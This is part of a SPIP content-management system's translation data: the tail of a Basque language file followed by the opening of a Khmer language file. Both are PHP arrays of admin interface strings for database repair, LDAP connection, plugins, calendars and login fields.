'texte_recapitiule_liste_documents' => 'Orri honek ataletan sartu dituzun dokumentu lista osoa erakusten du. Dokumentu bakoitzaren argibideak aldatzeko, erabili bere ataleko lotura.',
'texte_recuperer_base' => 'Datuen Basea konpondu',
'texte_reference_mais_redirige' => 'Zure tokianerreferentziatutako artikulua eta beste URL batengana berzuzenduta.',
'texte_requetes_echouent' => '<b>SQL eskaera batzuk sistematikoki eta agerian dagoen arrazoirik gabe huts egiten dutenean, datu-basea berarengatik izatea posible da.<b><p>Zure SQL zerbitzariak bere taulak konpontzeko gaitasun bat dauka istripu baten erruz hondatuak izan direnean. Hemen konponketa hau egiten saia zaitezke; huts eginez gero, gorde emaitzaren kopia bat, posible baita huts egitearen aztarnak izatea...</p><p>
Arazoa berriro gertatzen baldin bada, zure aterbetzailearekin harremanetan jar zaitez.</p>',
'texte_selection_langue_principale' => 'Jarraian tokiaren "hizkuntza nagusia" aukeradezakezu. Aukera honek ez du behartzen - zorionez!- artikuluak aukeratutakohizkuntzan idaztera, baina, besteak beste, gauza hauek zehaztu ahal dira:Besteak adierazi ezean, toki publikoan dataren formatua;Testuak errepikatzeko SPIP-ek erabili behar duen motor tipografikoaren natura;Toki publikoaren formularioetan erabilitako hizkuntza;Besteak adierazi ezean, gune pribatuan erakutsitako hizkuntza.',
'texte_sous_titre' => 'Azpititulua',
'texte_statistiques_visites' => '(barra ilunak : igandea / kurbailuna : ertainaren eboluzioa)',
'texte_statut_attente_validation' => 'Baliozkotasunaren zain',
'texte_statut_publies' => 'Argitaratuak',
'texte_statut_refuses' => 'Ezeztatuak',
'texte_suppression_fichiers' => 'Instrukzio hau erabili SPIP kache-andauden artxibo guztiak ezabatzeko. Honen bidez, besteak beste, aldaketa grafikoak edotokiaren egitura dezente aldatuz gero, orri guztiak berkalkula daitezke.',
'texte_sur_titre' => 'Aurreizenburua',
'texte_table_ok' => ': Taula hau ondo dago.',
'texte_tables_indexation_vides' => 'Indexazio motorraren taulak hutsik daude.',
'texte_tentative_recuperation' => 'Konponketa saiakera.',
'texte_tenter_reparation' => 'Datu basearen konponketa saiatu.',
'texte_test_proxy' => 'Tokiaren URL-a hemen ipini "proxy" hau frogatzeko.',
'texte_titre_02' => 'Izenburua',
'texte_titre_obligatoire' => 'Izenburua [Derrigorrezkoa]',
'texte_travail_article' => '@nom_auteur_modif@ artikulu hau berridatzi egin duduela@date_diff@ minutu.',
'texte_travail_collaboratif' => 'Sarritan erredaktore batbaino gehiago artikulu berberan lan egiten dute, sistemak duela gutxi "irekiak" izandiren artikuluak erakutsi ahal du, aldi bereko aldaketak saihesteko. Aukera hau,kontrakoa egin ezean, desaktibatuta dago ezorduko abisu mezuak saihesteko.',
'texte_trop_resultats_auteurs' => '"@cherche_auteur@" bilaketarako emaitza gehiegi.Irizpideak zehaztu.',
'texte_unpack' => 'Azken bertsiotik telekargatua.',
'texte_utilisation_moteur_syndiques' => 'SPIP-en barneratutako bilaketa motorra erabiltzen duzunean,
bilaketak tokietan eta sindikatutako artikuluetan bi era desberdinetan egin ditzakezu
Errazena artikuluen deskribapenetan eta izenburuetan bilatzean datza.
Bigarren era, askoz potenteagoa, SPIP-i erreferentziatutako tokien testuan bilatzen ereuzten dio.
Toki bat erreferentziatzen baldin baduzu, orduan SPIP-ek tokiaren edukiaren barruan bilaketa egingo du.',
'texte_utilisation_moteur_syndiques_2' => 'Bide honekSPIP erreferentziatutako tokiak sarritan bisitatzera behartzen du, zure tokian abiadurabeherapen txikia eragiten duena.',
'texte_vide' => 'Hutsik',
'texte_vider_cache' => 'Kache-a hustu',
'titre_admin_effacer' => 'Mantenimendu teknikoa',
'titre_admin_tech' => 'Mantentze-lan teknikoa',
'titre_admin_vider' => 'Mantentze-lan teknikoa',
'titre_ajouter_un_auteur' => 'Autore bat gehitu',
'titre_ajouter_un_mot' => 'gako-hitz bat gehitu',
'titre_cadre_afficher_article' => 'Artikuluak erakutsi',
'titre_cadre_afficher_traductions' => 'Hizkuntza honetarako dauden itzulpenen egoeraerakutsi',
'titre_cadre_ajouter_auteur' => 'Idazle bat erantsi',
'titre_cadre_interieur_rubrique' => 'Atalaren barnera',
'titre_cadre_numero_auteur' => 'IDAZLEA',
'titre_cadre_signature_obligatoire' => 'Izenpetzea [Derrigorrezkoa]',
'titre_config_contenu_notifications' => 'Notifikazio',
'titre_config_contenu_prive' => 'Eremu pribatuan',
'titre_config_contenu_public' => 'Parte publikoan',
'titre_config_fonctions' => 'Tokiaren konfigurazioa',
'titre_configuration' => 'Tokiarenkonfigurazioa',
'titre_connexion_ldap' => 'Aukerak: zure LDAP konexioa',
'titre_groupe_mots' => 'Hitzen taldea',
'titre_langue_article' => 'Artikuluaren hizkuntza',
'titre_langue_rubrique' => 'Atalaren hizkuntza',
'titre_langue_trad_article' => 'ARTIKULUKO HIZKUNTZA ETA ITZULPENAK',
'titre_les_articles' => 'Artikuluak',
'titre_messagerie_agenda' => 'Mezutegia eta agenda',
'titre_naviguer_dans_le_site' => 'Tokian ibili...',
'titre_nouvelle_rubrique' => 'Atal berria',
'titre_numero_rubrique' => 'ATALA:',
'titre_page_admin_effacer' => 'Mantenimendu teknikoa: basea ezabatu',
'titre_page_articles_edit' => '@titre@ Aldatu',
'titre_page_articles_page' => 'Artikuluak',
'titre_page_articles_tous' => 'Toki osoa',
'titre_page_auteurs' => 'Bisitari',
'titre_page_calendrier' => 'Egutegia @nom_mois@ @annee@',
'titre_page_config_contenu' => 'Tokiaren konfigurazioa',
'titre_page_config_fonctions' => 'Tokiaren konfigurazioa',
'titre_page_configuration' => 'Tokiaren konfigurazioa',
'titre_page_controle_petition' => 'Eskaeren jarraipena',
'titre_page_delete_all' => 'Itzuliezin eta erabateko ezabapena',
'titre_page_documents_liste' => 'Atalendokumentuak',
'titre_page_index' => 'Zure gune pribatua',
'titre_page_message_edit' => 'Mezu bat idatzi',
'titre_page_messagerie' => 'Zure mezularitza',
'titre_page_recherche' => 'Bilaketaren emaitzak @recherche@',
'titre_page_statistiques_referers' => 'Estatistikak (sartu direnloturak)',
'titre_page_upgrade' => 'SPIPen gaurkotzea',
'titre_publication_articles_post_dates' => 'Geroko datarekinartikuluen argitarapena',
'titre_referencer_site' => 'Toki bat erreferentziatu',
'titre_rendez_vous' => 'AIPAMENAK:',
'titre_reparation' => 'Konponketa',
'titre_suivi_petition' => 'Eskaerenkudeaketa',
'tls_ldap' => 'Transport Layer Security :',
'trad_article_inexistant' => 'Zenbaki horrekin ez dago artikulurik',
'trad_article_traduction' => 'Artikulu honen bertsio guztiak:',
'trad_deja_traduit' => 'Errorea : Artikulu hau ezin da eskatutako zenbakiari lotu.',
'trad_delier' => 'Itzulpen hauetarik deslotu',
'trad_lier' => 'Artikulu hau artikuluaren itzulpena da',
'trad_new' => 'Artikulu honen itzulpen berria idatzi',
// U
'upload_info_mode_document' => 'Irudi hau portfolioan ezarri',
'utf8_convertir_votre_site' => 'Zure gunean utf-8-era konbertitu',
// V
'version' => 'Bertsioa :'
);
?>
ecrire_km.php 0000666 00000342333 15252547432 0007242 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/ecrire_?lang_cible=km
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'activer_plugin' => 'ធ្វើអោយសកម្ម plugin',
'affichage' => 'បង្ហាញចេញ',
'aide_non_disponible' => 'ផ្នែកនេះ នៃជំនួយ លើអិនរើណែត គ្មានស្រាប់ សំរាប់ភាសានេះ។',
'auteur' => 'អ្នកនិពន្ធ៖',
'avis_acces_interdit' => 'ការចូលទៅ ត្រូវបានហាម។',
'avis_article_modifie' => 'ប្រយត្ន, @nom_auteur_modif@ )បានធ្វើការ លើអត្ថបទនេះ បាន @date_diff@ នាទី',
'avis_aucun_resultat' => 'គ្មានរកឃើញ លទ្ធផល។',
'avis_chemin_invalide_1' => 'ផ្លូវ អ្នកបានជ្រើសយក',
'avis_chemin_invalide_2' => 'ប្រហែលគ្មានសុពលភាព។ សូមត្រលប់ទៅ ទំព័រមុន និងផ្ទៀងពត៌មានបានផ្តល់។',
'avis_connexion_echec_1' => 'បញ្ជាប់ទៅ ខំព្យូរើបំរើសេវា SQL បានបរាជ័យ។',
'avis_connexion_echec_2' => 'ត្រលប់ទៅ ទំព័រមុន និងផ្ទៀងពត៌មាន ដែលអ្នកបានផ្ដល់។',
'avis_connexion_echec_3' => '<b>ចំណាំសំខាន់</b> លើមួយចំនួនខំព្យូរើបំរើសេវា, អ្នកត្រូវតែ <b>ស្នើ</b> ការធ្វើអោយសកម្ម ការចូលទៅ របស់អ្នក ក្នុងមូលដ្ឋានទិន្នន័យ មុនអាចប្រើប្រាស់វា។ បើអ្នកគ្មានអាចភ្ជាប់ទៅ, អ្នកផ្ទៀង តើអ្នកបានអនុវត្ត ការធ្វើអោយសកម្មនេះ។',
'avis_connexion_ldap_echec_1' => 'បញ្ជាប់ទៅ ខំព្យូរើបំរើសេវា LDAP បានបរាជ័យ។',
'avis_connexion_ldap_echec_2' => 'ត្រលប់ទៅ ទំព័រមុន, និងផ្ទៀង ពត៌មាន អ្នកបានផ្តល់។',
'avis_connexion_ldap_echec_3' => 'តាមជំរើស, កុំប្រើប្រាស់ការគាំទ្រ LDAP ដើម្បីនាំចូលអ្នកប្រើប្រាស់។',
'avis_deplacement_rubrique' => 'ប្រយត្ន! មាតិកានេះ មានផ្ទុក @contient_breves@ ពត៌មានសង្ខេប @scb@ ៖ បើអ្នកប្តូរទីតាំងវា, សូមគូស ប្រអប់បញ្ជាក់ទទួលស្គាល់ នេះ។',
'avis_destinataire_obligatoire' => 'អ្នកត្រូវតែ ជ្រើសយក អាសយដ្ឋានអ្នកទទួល មុនផ្ញើសារនេះ។',
'avis_erreur_connexion_mysql' => 'កំហុស ភ្ជាប់ទៅ SQL ',
'avis_erreur_version_archive' => '<b>ប្រយត្ន! សំណុំឯកសារ @រarchive@ ត្រូវជាមួយ កំណែដទៃ នៃ SPIP ជាងកំណែ ដែលអ្នកបានតំលើង។</b>អ្នកកំពុងនៅចំពោះមុខ ភាពលំបាកខ្លាំង៖ គ្រោះថ្នាក់បំផ្លាញមូលដ្ឋានទិន្នន័យ របស់អ្នក, ភាពលែងដំណើរ ផ្សេងៗ នៃវ៉ែបសៃថ៍ របស់អ្នក, ល ។ កុំធ្វើអោយសុពលភាព សំណើនាំចូលនេះ។<p> សំរាប់ពត៌មានបន្ថែម, មើល <a href="@spipnet@">
កំរងឯកសារ នៃ SPIP </a>។', # MODIF
'avis_espace_interdit' => '<b>តំបន់ហាម</b><div>SPIP ធ្លាប់ត្រូវបានតំលើង។</div>',
'avis_lecture_noms_bases_1' => 'កម្មវិធីតំលើង គ្មានអាច អានឈ្មោះឃ្លាំងទិន្នន័យ ដែលត្រូវបានតំលើង។',
'avis_lecture_noms_bases_2' => 'ឃ្លាំងទិន្នន័យ គ្មានស្រាប់, ឬមុខងារអនុញ្ញាត ការរាយបញ្ជី នុមូលដ្ឋានទិន្នន័យ គ្មានត្រូវបានអនុញ្ញាត ព្រោះហេតុផលសុវត្ថភាព (វាជាករណី ជាមួយច្រើនខំព្យូរើ)។',
'avis_lecture_noms_bases_3' => 'ករណីជំរើសទីពីរ ពិត, វាអាចជាលទ្ធភាព ដែលមួួមូលដ្ឋានទិន្នន័យ ត្រូវបានដាក់ឈ្មោះ ក្រោយការពិនិត្យចូល របស់អ្នក អាចត្រូវបានប្រើប្រាស់៖',
'avis_non_acces_message' => 'អ្នកគ្មានអាច ចូលទៅសារនេះ។',
'avis_non_acces_page' => 'អ្នកគ្មានអាច ចូលទៅ ទំព័រនេះ។',
'avis_operation_echec' => 'ប្រតិបត្ដិការ បានបរាជ័យ។',
'avis_operation_impossible' => 'ប្រតិបត្ដិការ មិនអាចទៅរួច',
'avis_probleme_archive' => 'បញ្ហាអំណាន នៃឯកសារ @archive@',
'avis_suppression_base' => 'ប្រយត្ន, ការលុបចេញទិន្នន័យ គ្មានអាចត្រលប់វិញ',
'avis_version_mysql' => 'ខំព្យូរើបំរើសេវា SQL របស់អ្នក (@version_mysql@) គ្មានអនុញ្ញាត ការស្វ័យជួសជុល តារាងឃ្លាំងទិន្នន័យ។',
// B
'bouton_acces_ldap' => 'បន្ថែម ការចូលទៅ LDAP ',
'bouton_ajouter' => 'បន្ថែម',
'bouton_ajouter_participant' => 'បន្ថែម អ្នកចូលរួម ៖',
'bouton_annonce' => 'ការប្រកាសដំណឹង',
'bouton_annuler' => 'បោះបង់',
'bouton_checkbox_envoi_message' => 'លទ្ធភាពផ្ញើមួយសារ',
'bouton_checkbox_indiquer_site' => 'ត្រូវតែបង្ហាញ មួយវ៉ែបសៃថ៍',
'bouton_checkbox_signature_unique_email' => 'មួយគត់ ហត្ថលេខា ក្នុងមួយអ៊ីមែវល៍អាសយដ្ឋាន',
'bouton_checkbox_signature_unique_site' => 'ត្រឹមមួយហត្ថលេខា ក្នុងមួយវ៉ែបសៃថ៍',
'bouton_demande_publication' => 'សួររក ការផ្សព្វផ្សាយ នៃអត្ថបទនេះ',
'bouton_desactive_tout' => 'អសកម្មទាំងអស់',
'bouton_desinstaller' => 'លែងតំលើង',
'bouton_effacer_index' => 'លុបសំអាត បញ្ជីលំដាប់អក្សរ',
'bouton_effacer_tout' => 'លុបចេញ ទាំងអស់',
'bouton_envoi_message_02' => 'ផ្ញើ មួយសារ',
'bouton_envoyer_message' => 'សារបញ្ចប់ ៖ ផ្ញើ',
'bouton_modifier' => 'កែប្រែ',
'bouton_pense_bete' => 'ការក្រើនរំលឹក ផ្ទាល់ខ្លួន',
'bouton_radio_activer_messagerie' => 'សកម្ម បញ្ញើសារខាងក្នុង',
'bouton_radio_activer_messagerie_interne' => 'សកម្ម បញ្ញើសារ ខាងក្នុង',
'bouton_radio_activer_petition' => 'សកម្ម បណ្តឹងជំទាស់',
'bouton_radio_afficher' => 'បង្ហាញចេញ',
'bouton_radio_apparaitre_liste_redacteurs_connectes' => 'លេចចេញ ក្នុងបញ្ជីអ្នកតែងនិពន្ធ ដែលបានភ្ជាប់',
'bouton_radio_desactiver_messagerie' => 'អសកម្ម បញ្ញើសារ',
'bouton_radio_envoi_annonces_adresse' => 'ផ្ញើ ការប្រកាសដំណឹង ទៅអាសយដ្ឋាន ៖',
'bouton_radio_envoi_liste_nouveautes' => 'ផ្ញើ បញ្ជី នៃអ្វី ដែលថ្មី',
'bouton_radio_non_apparaitre_liste_redacteurs_connectes' => 'មិនលេចចេញ ក្នុងបញ្ជី អ្នកតែងនិពន្ធ',
'bouton_radio_non_envoi_annonces_editoriales' => 'មិនផ្ញើ ការប្រកាសដំណឹង ដែលផ្សព្វផ្សាយ',
'bouton_radio_pas_petition' => 'គ្មាន បណ្តឹងជំទាស់',
'bouton_radio_petition_activee' => 'បានសកម្ម បណ្តឹងជំទាស់',
'bouton_radio_supprimer_petition' => 'លុបចេញ បណ្តឹងជំទាស់',
'bouton_redirection' => 'បណ្តូរទិស',
'bouton_relancer_installation' => 'តំលើង ឡើងវិញ',
'bouton_suivant' => 'បន្ទាប់',
'bouton_tenter_recuperation' => 'ព្យាយាមជួសជុល',
'bouton_test_proxy' => 'សាកល្បង ខំព្យូរើបំរើសេវា Proxy',
'bouton_vider_cache' => 'ពង្រីង សតិភ្ជាប់',
'bouton_voir_message' => 'មើល សារនេះ មុននឹងធ្វើអោយ សុពលភាព',
// C
'cache_mode_compresse' => 'បានរក្សាទុក សំណុំឯកសារ នៃសតិភ្ជាប់ ជា ទំរង់បង្ហាប់។',
'cache_mode_non_compresse' => 'បានរក្សាទុក សំណុំឯកសារ នៃសតិភ្ជាប់ ជាទំរង់គ្មានបង្ហាប់។',
'cache_modifiable_webmestre' => 'អាចផ្លាស់ប្តូរ ប៉ារ៉ាម៉ែត្រនេះ ដោយអ្នកជំនាញវ៉ែប នៃសៃថ៍។',
'calendrier_synchro' => 'បើអ្នកប្រើប្រាស់ ផ្នែកទន់សៀវភៅកត់ត្រា សមស្រប <b>iCal</b>, អ្នកអាច សមកាលវា ជាមួយពត៌មាន នៃសៃថ៍នេះ។',
'config_activer_champs' => 'ធ្វើអោយសកម្ម វាលខាងក្រោម',
'config_choix_base_sup' => 'ដាក់ឈ្មោះ មូលដ្ឋានទិន្នន័យ លើខំព្យូរើបំរើសេវានេះ',
'config_erreur_base_sup' => 'SPIP គ្មានអាចចូលទៅ មូលដ្ឋានទិន្នន័យ មានស្រាប់',
'config_info_enregistree' => 'បានរក្សាទុកហើយ ការកំណត់ទំរង់ថ្មីនេះ',
'config_info_logos_utiliser' => 'ប្រើប្រាស់ រូបសញ្ញា',
'config_info_logos_utiliser_non' => 'គ្មានប្រើប្រាស់ រូបសញ្ញា',
'config_titre_base_sup' => 'ការប្រកាស នៃមួយមូលដ្ឋានទិន្នន័យបន្ថែម',
'config_titre_base_sup_choix' => 'ជ្រើសរើសបន្ថែម មួយមូលដ្ឋានទិន្នន័យ',
'connexion_ldap' => 'ការភ្ជាប់ ៖',
// D
'date_mot_heures' => 'ម៉ោង',
// E
'email' => 'អ៊ីមែវល៍',
'email_2' => 'អ៊ីមែវល៍ ៖',
'entree_adresse_annuaire' => 'អាសយដ្ឋាន នៃបញ្ជីឈ្មោះ',
'entree_adresse_email' => 'អាសយដ្ឋានអ៊ីមែវល៍ របស់អ្នក',
'entree_base_donnee_1' => 'អាសយដ្ឋាន នៃឃ្លាំងទិន្នន័យ',
'entree_base_donnee_2' => '(ជារឿយៗ អាសយដ្ឋាននេះ ត្រូវតាម អាសយដ្ឋាន នៃសៃថ៍ របស់អ្នក, ជួនកាល វាត្រូវតាម ការកំណត់ «localhost», ជួនកាល វានៅទទេ ទាំងស្រុង។)',
'entree_biographie' => 'ជីវប្រវត្ដិខ្លី ត្រឹមប៉ុន្មានពាក្យ។',
'entree_chemin_acces' => '<b>បញ្ចូល</b> ផ្លូវចូលទៅ៖',
'entree_cle_pgp' => 'កូនសោ PGP របស់អ្នក',
'entree_contenu_rubrique' => 'ខ្លឹមសារ នៃផ្នែកនេះ ត្រឹមតែប៉ុន្មានពាក្យ។)',
'entree_identifiants_connexion' => 'អត្ដសញ្ញា ភ្ជាប់ របស់អ្នក...',
'entree_informations_connexion_ldap' => 'បំពេញបែបបទនេះ ពត៌មានបញ្ជាប់ ទៅបញ្ជីឈ្មោះ LDAP របស់អ្នក។
ពត៌មានតាំងនេះ ត្រូវតែអាចផ្តល់ទៅអ្នក តាមអ្នកអភិបាល នៃប្រព័ន្ធ,
ឬ នៃបណ្តាញ។',
'entree_infos_perso' => 'អ្នកជា អ្នកណា?',
'entree_interieur_rubrique' => 'ពីក្នុងផ្នែក ៖',
'entree_liens_sites' => '<b>តំណភ្ជាប់ អត្ថបទខ្ពស់</b> (ឯកសារយោង សៃថ៍ សំរាប់ចូលមើល...)',
'entree_login' => 'ការពិនិត្យចូល របស់អ្នក',
'entree_login_connexion_1' => 'ការពិនិត្យចូល ដើម្បីភ្ជាប់',
'entree_login_connexion_2' => '(ជួនកាល ត្រូវតាម ការពិនិត្យចូល ទៅ FTP របស់អ្នក, ជួនកាល ទុកនៅទទេ)',
'entree_login_ldap' => 'ការពិនិត្យចូល LDAP ដំបូង',
'entree_mot_passe' => 'ពាក្យសំងាត់ របស់អ្នក',
'entree_mot_passe_1' => 'ពាក្យសំងាត់ សំរាប់ភ្ជាប់',
'entree_mot_passe_2' => '(ជួនកាល ត្រូវតាម ពាក្យសំងាត់ របស់អ្នក សំរាប់ FTP, ជួនកាល ទុកនៅទទេ)',
'entree_nom_fichier' => 'សូមបញ្ចូល ឈ្មោះសំណុំឯកសារ @texte_compresse@៖',
'entree_nom_pseudo' => 'ឈ្មោះ របស់អ្នក ឬ ឈ្មោះហៅក្រៅ របស់អ្នក',
'entree_nom_pseudo_1' => '(ឈ្មោះ របស់អ្នក ឬ ឈ្មោះហៅក្រៅ របស់អ្នក)',
'entree_nom_site' => 'ឈ្មោះសៃថ៍ របស់អ្នក',
'entree_nouveau_passe' => 'ពាក្យសំងាត់ថ្មី',
'entree_passe_ldap' => 'ពាក្យសំងាត់',
'entree_port_annuaire' => 'លេខច្រក នៃបញ្ជីឈ្មោះ',
'entree_signature' => 'ហត្ថលេខា',
'entree_titre_obligatoire' => '<b>ចំណងជើង</b> [តំរូវ អោយមាន]<br />',
'entree_url' => 'អាសយដ្ឋាន URL នៃសៃថ៍ របស់អ្នក',
'erreur_plugin_fichier_absent' => 'សំណុំឯកសារ អវត្តមាន',
'erreur_plugin_fichier_def_absent' => 'អវត្តមាន សំណុំឯកសារនិយមន័យ',
'erreur_plugin_nom_fonction_interdit' => 'ឈ្មោះមុខងារ ត្រូវបានហាម',
'erreur_plugin_nom_manquant' => 'ខ្វះឈ្មោះកម្មវិធីជំនួយ',
'erreur_plugin_prefix_manquant' => 'គ្មានបានកំណត់ វាលដាក់ឈ្មោះ នៃកម្មវិធីជំនួយ',
'erreur_plugin_tag_plugin_absent' => '<plugin> ខ្វះ ក្នុងសំណុំឯកសារនិយមន័យ',
'erreur_plugin_version_manquant' => 'ខ្វះកំណែ នៃកម្មវិធីជំនួយ',
// I
'ical_info1' => 'ទំព័រនេះ បង្ហាញ ច្រើនវិធី ដើម្បីទាក់ទង ជានិច្ច ជាមួយជីវិត នៃសៃថ៍នេះ។',
'ical_info2' => 'សំរាប់ពត៌មានបន្ថែម លើគ្រប់បច្ចេកទេស, សូមកុំស្ទាក់ស្ទើរ ចូលមើល <a href="@spipnet@">កំរងឯកសារ SPIP</a>។',
'ical_info_calendrier' => 'ពីប្រក្រតីទិន មានស្រាប់ សំរាប់អ្នក។ ទីមួយ ជាផែនទី នៃសៃថ៍ ប្រកាសអំពី គ្រប់អត្ថបទ ត្រូវបានផ្សព្វផ្សាយ។ ទីពីរ មានផ្ទុក ការប្រកាសដំណឹង ផ្សព្វផ្សាយក៏ដូចជា សារឯកជនថ្មីៗ របស់អ្នក៖
វាបង្ការ សំរាប់អ្នក ដោយសារតែ មួយកូនសោផ្ទាល់ខ្លួន, ដែលអ្នកអាច កែប្រែ នៅគ្រប់ពេល ដោយធ្វើថ្មីឡើងវិញ ពាក្យសំងាត់ របស់អ្នក។',
'ical_methode_http' => 'ទំនាញយក',
'ical_methode_webcal' => 'ភាពសមកាល (webcal://)',
'ical_texte_js' => 'មួយបន្ទាត់ ចាវ៉ាស្ក្រិប (Java script) អនុញ្ញាតអ្នក បង្ហាញចេញសាមញ្ញបំផុត, លើគ្រប់សៃថ៍ របស់អ្នក, អត្ថបទថ្មីៗ ត្រូវបានផ្សព្វផ្សាយ លើសៃថ៍នេះ។',
'ical_texte_prive' => 'ប្រក្រតីទិន, ប្រើប្រាស់ត្រឹមផ្ទាល់ខ្លួន, ផ្តល់ពត៌មាន អ្នក អំពីសកម្មភាពបោះផ្សាយឯកជន នៃសៃថ៍នេះ (ភារៈកិច្ច និង ការណាត់ជួបផ្ទាល់ខ្លួន, អត្ថបទ និង ពត៌មានខ្លី ត្រូវបានស្នើ...)។',
'ical_texte_public' => 'ប្រក្រតីទិននេះ អនុញ្ញាតអ្នក តាមដាន សកម្មភាពសាធារណៈ នៃសៃថ៍នេះ (អត្ថបទ និង ពត៌មានខ្លី ត្រូវបានបោះផ្សាយ)។',
'ical_texte_rss' => 'អ្នកអាចបញ្ជាប់ ពត៌មានថ្មីៗ នៃសៃថ៍នេះ ក្នុង រាល់ប្រអប់អានឯកសារ ជាទំរង់ XML/RSS (សង្ខេបសៃថ៍ សំបូរ)។ វា ក៏ជាទំរង់ អនុញ្ញាត SPIP អានបត៌មានថ្មី បានបោះផ្សាយ លើសៃថ៍ដទៃ ដោយប្រើប្រាស់ មួយទំរង់ផ្លាស់ប្តូរគ្នា។',
'ical_titre_js' => 'អត្ថបទJava script ',
'ical_titre_mailing' => 'បញ្ជីការផ្ញើមែល',
'ical_titre_rss' => 'ហ្វាលរួមបញ្ចូលគ្នា',
'icone_activer_cookie' => 'ដាក់ខូគី',
'icone_admin_plugin' => 'រៀបចំកម្មវិធីជំនួយ',
'icone_afficher_auteurs' => 'បង្ហាញ អ្នកនិពន្ធ',
'icone_afficher_visiteurs' => 'បង្ហាញ ពួកអ្នកចូលមើល',
'icone_arret_discussion' => 'ឈប់ចូលរួមក្នុងការពិភាក្សានេះ',
'icone_calendrier' => 'ប្រក្រតីទិន',
'icone_creer_auteur' => 'បង្កើត មួយអ្នកនិពន្ធថ្មី និងភ្ជាប់គាត់ ទៅអត្ថបទនេះ',
'icone_creer_mot_cle' => 'បង្កើតថ្មី មួយពាក្យគន្លឹះ និងតភ្ជាប់វា ទៅអត្ថបទនេះ',
'icone_creer_mot_cle_rubrique' => 'បង្កើតថ្មី មួយពាក្យគន្លឹះ និងភ្ជាប់វា ទៅផ្នែកនេះ',
'icone_creer_mot_cle_site' => 'បង្កើតថ្មី មួយពាក្យគន្លឹះ និងភ្ជាប់វា ទៅសៃថ៍នេះ',
'icone_creer_rubrique_2' => 'បង្កើត មួយផ្នែកថ្មី',
'icone_envoyer_message' => 'ផ្ញើ សារនេះ',
'icone_modifier_article' => 'កែប្រែ អត្ថបទនេះ',
'icone_modifier_message' => 'កែប្រែ សារនេះ',
'icone_modifier_rubrique' => 'កែប្រែ ផ្នែកនេះ',
'icone_retour' => 'ត្រលប់ក្រោយ',
'icone_retour_article' => 'ត្រលប់ ទៅអត្ថបទ',
'icone_supprimer_cookie' => 'លប់ខូគី',
'icone_supprimer_rubrique' => 'លុបចេញ ផ្នែកនេះ',
'icone_supprimer_signature' => 'លប់ហត្ថលេខានេះ',
'icone_valider_signature' => 'ធ្វើអោយហត្ថលេខានេះមានសុពលភាព',
'image_administrer_rubrique' => 'អ្នកអាចគ្រប់គ្រងផ្នែកនេះ',
'info_1_article' => 'អត្ថបទ ១',
'info_1_site' => '១ សៃថ៍',
'info_activer_cookie' => 'អ្នអ្នក អាចធ្វើអោយសកម្ម មួយ <b>ខូកឃីឆ្លងឆ្លើយ</b>, វា នឹងអនុញ្ញាតអ្នក ងាយដើរ ពីសៃថ៍សាធារណះ ទៅសៃថ៍ឯកជន។',
'info_admin_gere_rubriques' => 'អ្នកគ្រប់គ្រងនេះចាត់ចែងផ្នែកដូចខាងក្រោម ៖',
'info_admin_gere_toutes_rubriques' => 'អ្នកអភិបាលនេះ គ្រប់គ្រង <b>គ្រប់ផ្នែក</b>។', # MODIF
'info_administrateur' => 'អ្នកគ្រប់គ្រង',
'info_administrateur_1' => 'អ្នកគ្រប់គ្រង',
'info_administrateur_2' => 'នៃសៃថ៍ (<i>ប្រើប្រាស់ ដោយប្រយត្ន</i>)',
'info_administrateur_site_01' => 'បើអ្នក ជាអ្នកអភិបាលសៃថ៍, សូម',
'info_administrateur_site_02' => 'ចុចលើ តំណភ្ជាប់នេះ',
'info_administrateurs' => 'អ្នកគ្រប់គ្រង',
'info_administrer_rubrique' => 'អ្នកអាចចាត់ចែងផ្នែកនេះ',
'info_adresse' => 'ទៅនឹងអាសយដ្ឋាន ៖',
'info_adresse_url' => 'អាសយដ្ឋាន URL នៃសៃថ៍សាធារណះ',
'info_afficher_visites' => 'បង្ហាញ ចំណូលមើល សំរាប់ ៖',
'info_aide_en_ligne' => 'ជំនួយ លើបណ្តាញ SPIP',
'info_ajout_image' => 'នៅពេលអ្នកបន្ថែមរូបជាឯកសារភ្ជាប់ទៅនឹងអត្ថបទ នោះ SPIP អាចបង្កើតរូបថតដោយស្វ័យប្រវត្ដិ (គំនូសព្រាង) ពីរូបដែលបានបញ្ចូល ។ ប្រការនេះនឹងអនុញ្ញាត ឧទាហរណ៍ អោយមានការបង្កើតដោយស្វ័យប្រវត្ដិនូវវិចិត្រសាល ឬផលប័ត្រ ។',
'info_ajout_participant' => 'អ្នកចូលរួមខាងក្រោមត្រូវបានបន្ថែម ៖',
'info_ajouter_rubrique' => 'បន្ថែមផ្នែកមួយទៀតដើម្បីចាត់ចែង ៖',
'info_annonce_nouveautes' => 'ជំនូនដំណឹង ចុងក្រោយបំផុត',
'info_anterieur' => 'ពីមុន',
'info_article' => 'អត្ថបទ',
'info_article_2' => 'អត្ថបទ',
'info_article_a_paraitre' => 'អត្ថបទចាស់ដែលត្រូវបោះពុម្ភផ្សាយ',
'info_articles_02' => 'អត្ថបទ',
'info_articles_2' => 'អត្ថបទ',
'info_articles_auteur' => 'អត្ថបទ របស់អ្នកនិពន្ធនេះ',
'info_articles_trouves' => 'អត្ថបទត្រូវបានរកឃើញ',
'info_articles_trouves_dans_texte' => 'អត្ថបទត្រូវបានរកឃើញ (នៅក្នុងឯកសារ)',
'info_attente_validation' => 'អត្ថបទ របស់អ្នក កំពុងរង់ចាំ សុពលភាព',
'info_aujourdhui' => 'ថ្ងៃនេះ ៖',
'info_auteur_message' => 'អ្នកផ្ញើសារ ៖',
'info_auteurs' => 'អ្នកនិពន្ធ',
'info_auteurs_par_tri' => 'អ្នកនិពន្ធ@partri@',
'info_auteurs_trouves' => 'អ្នកនិពន្ធត្រូវបានរកឃើញ',
'info_authentification_externe' => 'យថាភាពខាងក្រៅ',
'info_avertissement' => 'ការព្រមាន',
'info_barre_outils' => 'ជាមួយ របារឧបករ របស់វា ឬ?',
'info_base_installee' => 'បានតំលើង រចនាសម្ពន្ធ មូលដ្ឋានទិន្នន័យ របស់អ្នក។',
'info_chapeau' => 'ឧបករ រក្សាទិន្នន័យ',
'info_chapeau_2' => 'សេចក្ដីផ្ដើម ៖',
'info_chemin_acces_1' => 'ជម្រើស ៖<b>ច្រកចូលនៅក្នុងបញ្ជីរាយឈ្មោះ</b>',
